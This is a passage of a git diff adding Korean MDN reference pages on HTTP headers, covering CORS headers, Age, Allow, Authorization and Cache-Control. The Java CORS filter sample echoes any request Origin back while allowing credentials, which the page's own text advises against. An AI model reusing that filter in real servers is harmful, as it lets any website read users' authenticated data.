+<p><span class="tlid-translation translation" lang="ko"><span title="">이 예시는 여러 개의 헤더를 지정할 때 Access-Control-Allow-Headers</span></span>가 어떤 식으로 작성되는지 보여줍니다.</p>
+
+<pre>Access-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-Requests</pre>
+
+<h3 id="Preflight_요청_예시">Preflight 요청 예시</h3>
+
+<p>사전 요청에서  <code>Access-Control-Allow-Headers</code> 이 사용된 경우의 예제를 보도록 합시다.</p>
+
+<h4 id="요청">요청</h4>
+
+<p><span class="tlid-translation translation" lang="ko">이 </span>Preflight <span class="tlid-translation translation" lang="ko"><span title="">요청은 </span></span>Preflight 요<span class="tlid-translation translation" lang="ko"><span title="">청 헤더인 </span></span>{{HTTPHeader("Access-Control-Request-Method")}}, {{HTTPHeader("Access-Control-Request-Headers")}} <span class="tlid-translation translation" lang="ko"><span title=""> 및 </span></span> {{HTTPHeader("Origin")}}, 이 세가지 Preflight 요청 헤더를<span class="tlid-translation translation" lang="ko"><span title=""> 포함하는 </span></span>{{HTTPMethod("OPTIONS")}} <span class="tlid-translation translation" lang="ko"><span title="">요청입니다.</span></span></p>
+
+<pre>OPTIONS /resource/foo
+Access-Control-Request-Method: DELETE
+Access-Control-Request-Headers: origin, x-requested-with
+Origin: https://foo.bar.org</pre>
+
+<h4 id="응답">응답</h4>
+
+<p>만약 서버가 {{HTTPMethod("DELETE")}} 메소드에 CORS 요청을 허용한다면 {{HTTPHeader("Access-Control-Allow-Methods")}}에 DELETE, 그리고 다른 지원하는 메소드를 포함하여 응답합니다.</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Length: 0
+Connection: keep-alive
+Access-Control-Allow-Origin: https://foo.bar.org
+Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
+Access-Control-Max-Age: 86400</pre>
+
+<p><span class="tlid-translation translation" lang="ko"><span title="">요청된 메소드가 지원되지 않으면 서버는 오류로 응답합니다.</span></span></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/access-control-allow-origin/index.html b/files/ko/web/http/headers/access-control-allow-origin/index.html
new file mode 100644
index 0000000000..7fcc879d53
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-allow-origin/index.html
@@ -0,0 +1,140 @@
+---
+title: Access-Control-Allow-Origin
+slug: Web/HTTP/Headers/Access-Control-Allow-Origin
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin
+---
+<p><code><strong>Access-Control-Allow-Origin</strong></code> 응답 헤더는 이 응답이 주어진 {{glossary("origin")}}으로부터의 요청 코드와 공유될 수 있는지를 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: &lt;origin&gt;
+Access-Control-Allow-Origin: null
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt><code>*</code></dt>
+ <dd><em>credential</em>이 없는 요청들에 와일드카드로써 문자 값 "*"이 명시될 수 있습니다. 이 값은 브라우저에 리소스에 접근하는 임의의 origin으로부터의 요청 코드를 허용함을 알립니다.  와일드카드를 credential과 함께 사용하려고 하면 <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">오류가 발생</a>합니다.</dd>
+ <dt><code>&lt;origin&gt;</code></dt>
+ <dd>origin을 명시합니다. 하나의 origin만 명시될 수 있습니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>브라우저에 리소스에 접근하는 임의의 origin으로부터의 요청을 허용한다고 알리는 응답은 다음을 포함할 것입니다:</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<p>브라우저에 <code>https://developer.mozilla.org</code>으로부터의 요청을 허용한다고 알리는 응답은 다음을 포함할 것입니다:</p>
+
+<pre>Access-Control-Allow-Origin: https://developer.mozilla.org</pre>
+
+<p>가능한 <code>Access-Control-Allow-Origin</code> 값을 허용된 origin 집합으로 제한하는 것은 요청 헤더의 {{HTTPHeader("Origin")}}를 검사하는 서버 측 코드가 필요합니다. 이를 허용된 origin 리스트와 비교하고,  {{HTTPHeader("Origin")}} 값이 리스트에 있으면 <code>Access-Control-Allow-Origin</code> 값을 {{HTTPHeader("Origin")}}과 동일한 값으로 설정합니다.</p>
+
+<h3 id="CORS_and_caching">CORS and caching</h3>
+
+<p>서버가 ("<code>*</code>" 와일드카드 외에) 명시적인 origin을 <code>Access-Control-Allow-Origin</code> 과 함께 응답으로 보내면, 응답은 값이 <code>Origin</code>인 {{HTTPHeader("Vary")}} 응답 헤더 또한 포함해야 합니다 — 브라우저에 서버가 <code>Origin</code> 요청 헤더의 값에 따라 다르게 응답할 수 있음을 알리기 위해.</p>
+
+<pre>Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin</pre>
+
+<h3 id="Handling_CORS_on_the_server_(Java_example)">Handling CORS on the server (Java example)</h3>
+
+<p>다음의 Java 코드는 CORS 요청 헤더를 설정합니다. 코드가 어떻게 <code>Access-Control-Allow-Origin</code> 값을 {{HTTPHeader("Origin")}} 요청 헤더와 동일한 값을 설정하는지 알아 두십시오.</p>
+
+<pre class="brush: java">import java.io.IOException;
+import javax.servlet.Filter;
+import javax.servlet.FilterChain;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletException;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.stereotype.Component;
+
+
+@Component
+public class SimpleCORSFilter implements Filter {
+
+private final Logger log = LoggerFactory.getLogger(SimpleCORSFilter.class);
+
+public SimpleCORSFilter() {
+ log.info("SimpleCORSFilter init");
+}
+
+@Override
+public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
+
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
+ response.setHeader("Access-Control-Allow-Origin", request.getHeader("Origin"));
+ response.setHeader("Access-Control-Allow-Credentials", "true");
+ response.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE");
+ response.setHeader("Access-Control-Max-Age", "3600");
+ response.setHeader("Access-Control-Allow-Headers", "Content-Type, Accept, X-Requested-With, remember-me");
+ chain.doFilter(req, res);
+}
+
+@Override
+public void init(FilterConfig filterConfig) {
+}
+
+@Override
+public void destroy() {
+}
+
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{HTTPHeader("Origin")}}</li>
+ <li>{{HTTPHeader("Vary")}}</li>
+ <li><a href="https://gist.github.com/wildoctopus/3730b5c60f9d5224f6c2418d07708e21">CORS 문제를 어떻게 해결하나요?</a></li>
+</ul>
+
+<div>{{HTTPSidebar}}</div>
diff --git a/files/ko/web/http/headers/access-control-request-headers/index.html b/files/ko/web/http/headers/access-control-request-headers/index.html
new file mode 100644
index 0000000000..1da8a6af4d
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-request-headers/index.html
@@ -0,0 +1,71 @@
+---
+title: Access-Control-Request-Headers
+slug: Web/HTTP/Headers/Access-Control-Request-Headers
+tags:
+ - CORS
+ - HTTP
+ - Reference
+ - header
+translation_of: Web/HTTP/Headers/Access-Control-Request-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>요청 헤더 <strong><code>Access-Control-Request-Headers</code></strong>는 실제 요청이 만들어질 때 클라이언트가 보낼 수도 있는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>를 서버에게 알리기 위해 브라우저가 {{glossary("preflight request")}}를 발급(issue)할 때 사용됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Access-Control-Request-Headers: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="지시어">지시어</h2>
+
+<dl>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>요청에 포함 된 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>의 쉼표로 구분 한 목록.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">현재 페이지에 있는 호환성 표는 구조화된 데이터가 생성합니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하고 pull request를 보내세요.</p>
+
+<p>{{Compat("http.headers.Access-Control-Request-Headers")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Request-Method")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/access-control-request-method/index.html b/files/ko/web/http/headers/access-control-request-method/index.html
new file mode 100644
index 0000000000..3947c883ed
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-request-method/index.html
@@ -0,0 +1,71 @@
+---
+title: Access-Control-Request-Method
+slug: Web/HTTP/Headers/Access-Control-Request-Method
+tags:
+ - CORS
+ - HTTP
+ - Reference
+ - header
+translation_of: Web/HTTP/Headers/Access-Control-Request-Method
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>요청 헤더 <strong><code>Access-Control-Request-Method</code></strong>는 실제 요청이 만들어질 때 클라이언트가 보낼 수도 있는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>를 서버에게 알리기 위해 브라우저가 {{glossary("preflight request")}}를 발급(issue)할 때 사용됩니다. 사전 요청(preflight request)은 항상 {{HTTPMethod("OPTIONS")}}이며 실제 요청과 동일한 메소드를 사용하지 않으므로 이 헤더가 필요합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Access-Control-Request-Method: &lt;method&gt;
+</pre>
+
+<h2 id="지시어">지시어</h2>
+
+<dl>
+ <dt>&lt;method&gt;</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a> 중 하나. 예를 들어 {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, 또는 {{HTTPMethod("DELETE")}}.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Access-Control-Request-Method: POST</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-request-method', 'Access-Control-Request-Method')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">현재 페이지에 있는 호환성 표는 구조화된 데이터가 생성합니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하고 pull request를 보내세요.</p>
+
+<p>{{Compat("http.headers.Access-Control-Request-Method")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/age/index.html b/files/ko/web/http/headers/age/index.html
new file mode 100644
index 0000000000..a8594ee54e
--- /dev/null
+++ b/files/ko/web/http/headers/age/index.html
@@ -0,0 +1,69 @@
+---
+title: Age
+slug: Web/HTTP/Headers/Age
+translation_of: Web/HTTP/Headers/Age
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Age</strong></code> 헤더는 객체가 프록시 캐시 내에 머무는 초단위의 시간을 가집니다.</p>
+
+<p><code>Age</code> 헤더는 보통 0에 가깝습니다. 만약 <code>Age: 0라면</code>, 그것은 아마도 원 서버로부터 막 내려받은 것일 겁니다; 그게 아니라면 프록시의 현재 시간과 HTTP 응답 내에 포함된 {{HTTPHeader("Date")}} 일반 헤더의 차로 계산됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Age: &lt;delta-seconds&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;delta-seconds&gt;</dt>
+ <dd>
+ <p>음수가 아닌 정수형으로, 객체가 프록시 캐시 내에 머문 초단위 시간을 나타냅니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Age: 24</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7234", "Age", "5.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Age")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/allow/index.html b/files/ko/web/http/headers/allow/index.html
new file mode 100644
index 0000000000..11cdabd478
--- /dev/null
+++ b/files/ko/web/http/headers/allow/index.html
@@ -0,0 +1,67 @@
+---
+title: Allow
+slug: Web/HTTP/Headers/Allow
+tags:
+ - Entity header
+ - HTTP
+ - HTTP Header
+ - Reference
+ - header
+translation_of: Web/HTTP/Headers/Allow
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Allow</strong></code> 헤더는 리소스가 지원하는 메소드 집합을 나열합니다.</p>
+
+<p>어떤 요청 메소드를 사용할 수 있는지 알리기 위해 서버가 {{HTTPStatus("405")}} <code>Method Not Allowed</code> 상태코드로 응답할 경우에 이 헤더를 반드시 보내야 합니다. 비어있는 <code>Allow</code> 헤더는 리소스가 어떤 요청 메소드도 허용하지 않음을 나타냅니다. 예를 들어, 특정 리소스에 대해 일시적으로 발생할 수도 있는 요청 메소드조차 허용하지 않음을 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Allow: &lt;http-methods&gt;
+</pre>
+
+<h2 id="지시어">지시어</h2>
+
+<dl>
+ <dt>&lt;http-methods&gt;</dt>
+ <dd>쉼표로 구분한 허용된 <a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a> 목록.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Allow: GET, POST, HEAD</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Allow", "7.4.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("405")}}</li>
+ <li>{{HTTPHeader("Server")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/authorization/index.html b/files/ko/web/http/headers/authorization/index.html
new file mode 100644
index 0000000000..769d7d43e3
--- /dev/null
+++ b/files/ko/web/http/headers/authorization/index.html
@@ -0,0 +1,90 @@
+---
+title: Authorization
+slug: Web/HTTP/Headers/Authorization
+tags:
+ - HTTP
+ - HTTP 헤더
+ - 요청 헤더
+ - 참고자료
+ - 헤더
+translation_of: Web/HTTP/Headers/Authorization
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>Authorization</code></strong> 요청 헤더는 서버의 사용자 에이전트임을 증명하는 자격을 포함하여, 보통 서버에서 {{HTTPStatus("401")}} <code>Unauthorized</code> 상태를 {{HTTPHeader("WWW-Authenticate")}} 헤더로 알려준 이후에 나옵니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;type&gt;</dt>
+ <dd><a href="/ko/docs/Web/HTTP/Authentication#%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">인증 타입</a>. 보통 타입은 <a href="/ko/docs/Web/HTTP/Authentication#Basic_%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">"Basic"</a>이며. 다른 타입으로:
+ <ul>
+ <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li>
+ <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li>
+ </ul>
+ </dd>
+ <dt>&lt;credentials&gt;</dt>
+ <dd>만약 "Basic" 인증 스킴이 사용되었다면, 증명은 다음과 같이 만들어집니다:
+ <ul>
+ <li>사용자명과 비밀번호가 콜론을 이용하여 합쳐집니다(<code>aladdin:opensesame</code>).</li>
+ <li>그 결과에 대한 문자열을 <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> 로 인코딩합니다 (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Note</strong>: Base64 인코딩은 암호화나 해싱을 의미하지 않습니다! 이 방법은 인증에 대해서 문자를 그대로 보내는 것과 동일하다고 할 수 있습니다 (base64인코딩은 복호화 가능). Basic 인증을 하는 경우 HTTPS로 접속하는 것을 권장합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+</pre>
+
+<p>HTTP basic 인증을 사용하여 비밀번호를 보호하기 위해 Apache 또는 nginx 서버를 어떻게 설정해야 하는지 예제를 보기 위해서는<a href="/ko/docs/Web/HTTP/Authentication"> HTTP authentication</a> 를 보시기 바랍니다.</p>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7235", "Authorization", "4.2")}}</td>
+ <td>HTTP/1.1: Authentication</td>
+ </tr>
+ <tr>
+ <td>{{RFC("7617")}}</td>
+ <td>The 'Basic' HTTP Authentication Scheme</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_더_보기">함께 더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/cache-control/index.html b/files/ko/web/http/headers/cache-control/index.html
new file mode 100644
index 0000000000..28225982b0
--- /dev/null
+++ b/files/ko/web/http/headers/cache-control/index.html
@@ -0,0 +1,171 @@
+---
+title: Cache-Control
+slug: Web/HTTP/Headers/Cache-Control
+translation_of: Web/HTTP/Headers/Cache-Control
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Cache-Control</code></strong> 일반 헤더 필드는 요청과 응답 내의 캐싱 메커니즘을 위한 디렉티브를 정하기 위해 사용됩니다. 캐싱 디렉티브는 단방향성이며, 이는 요청 내에 주어진 디렉티브가 응답 내에 주어진 디렉티브와 동일하다는 것을 뜻하지는 않는다는 것을 의미합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<p>디렉티브는 대소문자를 구분하지 않으며 토큰과 따옴표로 둘러쌓인 문자열 문법 모두를 사용할 수 있는 부가적인 인자를 가집니다. 다중 디렉티브는 쉼표로 구분됩니다.</p>
+
+<h3 id="캐시_요청_디렉티브">캐시 요청 디렉티브</h3>
+
+<p>HTTP 요청 내에서 클라이언트에 의해 사용될 수 있는 표준 <code>Cache-Control</code> 디렉티브.</p>
+
+<pre class="syntaxbox">Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: max-stale[=&lt;seconds&gt;]
+Cache-Control: min-fresh=&lt;seconds&gt;
+Cache-control: no-cache
+Cache-control: no-store
+Cache-control: no-transform
+Cache-control: only-if-cached
+</pre>
+
+<h3 id="캐시_응답_디렉티브">캐시 응답 디렉티브</h3>
+
+<p>HTTP 응답 내에서 서버에 의해 사용될 수 있는 표준 <code>Cache-Control</code> 디렉티브.</p>
+
+<pre class="syntaxbox">Cache-control: must-revalidate
+Cache-control: no-cache
+Cache-control: no-store
+Cache-control: no-transform
+Cache-control: public
+Cache-control: private
+Cache-control: proxy-revalidate
+Cache-Control: max-age=&lt;seconds&gt;
+Cache-control: s-maxage=&lt;seconds&gt;
+</pre>
+
+<h3 id="확장_Cache-Control_디렉티브">확장 <code>Cache-Control</code> 디렉티브</h3>
+
+<p>확장 <code>Cache-Control</code> 디렉티브는 핵심 HTTP 캐싱 표준 문서에 속하지 않습니다. 지원 여부는 <a href="#Browser_compatibility">호환성 테이블</a>을 확인하시기 바랍니다.</p>
+
+<pre class="syntaxbox">Cache-control: immutable
+Cache-control: stale-while-revalidate=&lt;seconds&gt;
+Cache-control: stale-if-error=&lt;seconds&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<h3 id="캐시_능력">캐시 능력</h3>
+
+<dl>
+ <dt><code>public</code></dt>
+ <dd>응답이 어떤 캐시에 의해서든 캐시된다는 것을 나타냅니다.</dd>
+ <dt><code>private</code></dt>
+ <dd>응답이 단일 사용자를 위한 것이며 공유 캐시에 의해 저장되지 않아야 한다는 것을 나타냅니다. 사설 캐시는 응답을 저장할 수도 있습니다.</dd>
+ <dt><code>no-cache</code></dt>
+ <dd>캐시된 복사본을 사용자에게 보여주기 이전에, 재검증을 위한 요청을 원 서버로 보내도록 강제합니다.</dd>
+ <dt><code>only-if-cached</code></dt>
+ <dd>새로운 데이터를 내려받지 않음을 나타냅니다. 클라이언트는 캐시된 응답만을 원하며, 더 최신 복사본이 존재하는지를 알아보기 위해 서버에 요청해선 안됩니다.</dd>
+</dl>
+
+<h3 id="만료">만료</h3>
+
+<dl>
+ <dt><code>max-age=&lt;seconds&gt;</code></dt>
+ <dd>리소스가 최신 상태라고 판단할 최대 시간을 지정합니다. <code>Expires</code>에 반해, 이 디렉티브는 요청 시간과 관련이 있습니다.</dd>
+ <dt><code>s-maxage=&lt;seconds&gt;</code></dt>
+ <dd><code>max-age</code> 혹은 <code>Expires</code> 헤더를 재정의하나, (프록시와 같은) 공유 캐시에만 적용되며 사설 캐시에 의해서는 무시됩니다.</dd>
+ <dt><code>max-stale[=&lt;seconds&gt;]</code></dt>
+ <dd>클라이언트가 캐시의 만료 시간을 초과한 응답을 받아들일지를 나타냅니다. 부가적으로, 초 단위의 값을 할당할 수 있는데, 이는 응답이 결코 만료되서는 안되는 시간을 나타냅니다.</dd>
+ <dt><code>min-fresh=&lt;seconds&gt;</code></dt>
+ <dd>클라이언트가 지정된 시간(초단위) 동안 신선한 상태로 유지될 응답을 원한다는 것을 나타냅니다.</dd>
+ <dt><code>stale-while-revalidate=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>비동기 적으로 백그라운드 에서 새로운 것으로 체크인하는 동안 클라이언트가 최신이 아닌 응답을 받아 들일 것임을 나타냅니다. 초 값은 클라이언트가 최신이 아닌 응답을 받아 들일 시간을 나타냅니다.</dd>
+ <dt><code>stale-if-error=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h3 id="재검증과_리로딩">재검증과 리로딩</h3>
+
+<dl>
+ <dt><code>must-revalidate</code></dt>
+ <dd>캐시는 사용하기 이전에 기존 리소스의 상태를 반드시 확인해야 하며 만료된 리소스는 사용되어서는 안됩니다.</dd>
+ <dt><code>proxy-revalidate</code></dt>
+ <dd><code>must-revalidate</code>와 동일하지만, (프록시와 같은)공유 캐시에만 적용되며 사설 캐시에 의해서는 무시됩니다.</dd>
+ <dt><code>immutable</code></dt>
+ <dd>응답 본문이 계속해서 변하지 않을 것이라는 것을 나타냅니다. 응답은, 만료되지 않은 경우라면, 서버 상에서 변경되지 않을 것이고 그러므로 클라이언트는 업데이트 검사를 위해 (<code>If-None-Match</code> 혹은 <code>If-Modified-Since</code>과 같은)그에 대한 조건부의 재검증을 전송해서는 안 됩니다. 이 확장을 감지하지못한 클라이언트는 HTTP 명세에 따라 그것들을 무시해야만 합니다. 파이어폭스에서, <code>immutable</code>는 <code>https://</code> 트랜잭션 상에서만 부여됩니다. 좀 더 많은 정보는 다음의 <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">블로그 포스트</a>를 참고하시기 바랍니다.</dd>
+</dl>
+
+<h3 id="기타">기타</h3>
+
+<dl>
+ <dt><code>no-store</code></dt>
+ <dd>캐시는 클라이언트 요청 혹은 서버 응답에 관해서 어떤 것도 저장해서는 안됩니다.</dd>
+ <dt><code>no-transform</code></dt>
